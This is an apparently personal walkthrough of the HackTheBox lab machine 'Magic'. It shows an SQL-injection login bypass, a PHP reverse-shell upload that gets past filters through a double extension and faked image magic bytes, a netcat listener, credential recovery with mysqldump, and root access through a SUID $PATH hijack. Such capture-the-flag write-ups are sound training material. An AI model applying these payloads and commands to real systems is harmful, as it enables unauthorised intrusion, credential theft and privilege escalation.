I have finally got the courage to take on my first boxes on HackTheBox this month, and I am very pleased with the outcome. I pwned 3 machines so far, with Magic being the third one. I found them to be really interesting, engaging, and I can already say that I learned new, useful things. What I like mostly about these boxes is the resemblance to real-life scenarios, the full experience you get to live, from the reconnaissance phase, to the initial foothold, lateral movement, and then full system compromise.
Magic - Technical Details

OS: | ![]() |
Difficulty: | Medium |
Points: | 30 |
Release: | 18 Apr 2020 |
IP: | 10.10.10.185 |
Synopsis
Magic is a medium-rated Linux machine featuring a simple Web Application. Basic SQL Injection is used to bypass the login form. Gaining access to a file upload page, a custom image whitelisting validation can be bypassed, and a PHP reverse shell can be uploaded. User privileges can be escalated to another account by finding plaintext credentials in MySQL dumps. Finally, abusing a SUID binary and the $PATH
variable leads to full system access.
Key techniques and exploits:
- Enumeration
- SQL Injection
- Arbitrary File Upload
- SUID Abuse
Enumeration
nmap -sV -p- 10.10.10.185
Initial scan with Nmap reveals two services running on their default ports: Apache Web Server on port 80
and OpenSSH on port 22
.
Navigating to the web application in Firefox presents the following page – an image gallery:
There is a small Login button at the bottom of the page which takes us to a simple login form.
My first thought here was to try some common credentials, such as admin / admin
, admin / 1234
. However, this didn’t work. Inspecting the source code of the pages also resulted in nothing useful.
Login Bypass - SQL Injection
Further attempts at bypassing the login led to a successful SQL injection using the following payload:
admin' OR 1=1 --
The query might have looked like this:
SELECT * FROM users WHERE username = '$user' AND password = '$password';
My payload basically rendered the two conditions useless. The new query became:
SELECT * FROM users WHERE username = 'admin' OR 1=1 -- AND password = 'password';
Introducing the OR after the username check makes it always true, and commenting the rest of the query out gets rid of the password check.
Arbitrary File Upload
Next, I got to the upload page.
The obvious idea here is to upload a PHP reverse shell. However, it doesn’t work from the first try.
It seems that the application has some validation logic which forbids the upload of files other than JPEG, JPG and PNG. As Apache could easily be misconfigured to allow multiple extensions, I could upload a file called webshell.php.png
and bypass the extension check. As stated in the Apache documentation, the order of the extensions is normally irrelevant. So, I can go ahead and try this.
Unfortunately, there are more checks in place. The new error is:
Another common validation for images might be checking the signature (magic bytes) of the file. Magic bytes are a sequence of bytes, usually starting at offset 0
, used to identify types and formats of files so that programs know what to do with them.
PHP has a useful function which reads the first bytes of an image and checks its signature:
if (exif_imagetype('image.gif') != IMAGETYPE_GIF) {
echo 'The picture is not a gif';
}
Here are the valid signatures for JPG & JPEG files:
FF D8 FF DB
FF D8 FF E0 00 10 4A 46 49 46 00 01
FF D8 FF EE
FF D8 FF E1 ?? ?? 45 78 69 66 00 00
And this one is for a PNG:
89 50 4E 47 0D 0A 1A 0A
Adding these bytes to the beginning of my reverse shell tricked the web application and I finally uploaded the malicious payload.
Now I must find where did my “image” go. Inspecting the source of the gallery, I noticed some images served from images/uploads/
.
Trying this path with my freshly uploaded web shell, I got a hit:
Initial Foothold
Next step is to start a listener on the local machine, so the web server could connect back to me.
[email protected]:~$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.87] from (UNKNOWN) [10.10.10.185] 38326
Linux ubuntu 5.3.0-42-generic #34~18.04.1-Ubuntu SMP Fri Feb 28 13:42:26 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
01:52:01 up 2:00, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM [email protected] IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
Getting a TTY shell for better control:
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
Lateral Movement
Now that I have a foothold of the box, it’s time to explore it for any useful information.
Starting in the current directory, /var/www
, I found a subdirectory called /Magic
. Inside, there are various files, but what gets my attention is the one called db.php5
.
It contains a user and a password. I have previously found that the system also has a user called theseus
. However, trying to log in as him with the password found above results in failure.
Given the fact that these credentials appear to be for a database, I started to look for a client to access it. Unfortunately, there was no client installed on the machine and no public service to connect to. Researching the internet more about how to get the database contents, I found that I could use an application called mysqldump
to view the dumps of the database.
[email protected]:/var/www$ mysqldump -u theseus -piamkingtheseus –all-databases
Inside this dump, there is a new set of credentials. This time, I can successfully switch to the theseus
account and recover the first flag:
[email protected]:/var/www$ su theseus
Privilege Escalation - SUID Binary
Using the following command, we can identify SUID binaries on the system:
[email protected]:~$ find / -user root -perm -4000 -print 2>/dev/null
SUID (Set User ID) is a type of permission which is given to a file and allows users to execute the file with the permissions of its owner. There are plenty of reasons why a Linux binary can have this type of permission set. For example, the ping
utility requires root
privileges in order to open a network socket, but it needs to be executed by standard users as well to verify connectivity with other hosts.
In my case, most of the binaries that have the SUID bit set are standard and not exploitable. However, the /bin/sysinfo
binary seems interesting enough, and is owned by root
. To get more information about it, we could run strings
or ltrace
on it and inspect the external calls made. I noticed that there are a number of calls that use relative paths instead of absolute paths, such as cat
and free
.
Path Hijacking
The vulnerability here stands in the fact that I can edit the $PATH
variable. $PATH
is an environment variable in Linux, which specifies the locations from where executable programs can be run. When the user runs any command on the terminal, the shell searches all the paths in this variable for the executable name. By being able to edit this variable and adding my custom location, in this case .
for the current directory, I can execute my own script instead of the intended one.
For this exploit I will use cat
, but any of the other executables accessed via relative paths in /bin/sysinfo
would work in the exact same way. First, I need to create a new file called cat
with the payload.
[email protected]:~$ echo "/bin/cat /root/root.txt" > cat
echo "/bin/cat /root/root.txt" > cat
Next, I need to append the current directory .
to the $PATH
variable. I added it at the beginning so the shell would first look at my current directory before searching in the default locations.
[email protected]:~$ PATH=.:$PATH
PATH=.:$PATH
[email protected]:~$ echo $PATH
.:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/usr/games:/usr/local/games
[email protected]:~$
Finally, running the /bin/sysinfo
command returns the flag as part of its output.
====================CPU Info====================
dbfxxxxxxxxxxxxxxxxxxxxxxxxxx5be
====================MEM Usage=====================
total used free shared buff/cache available
Mem: 3.8G 635M 1.7G 4.0M 1.5G 2.9G
Swap: 947M 0B 947M
From this point on, the system is fully compromised. Instead of just printing the flag, I could have used the malicious script to create a reverse shell, which would start with root
privileges. The possibilities are endless.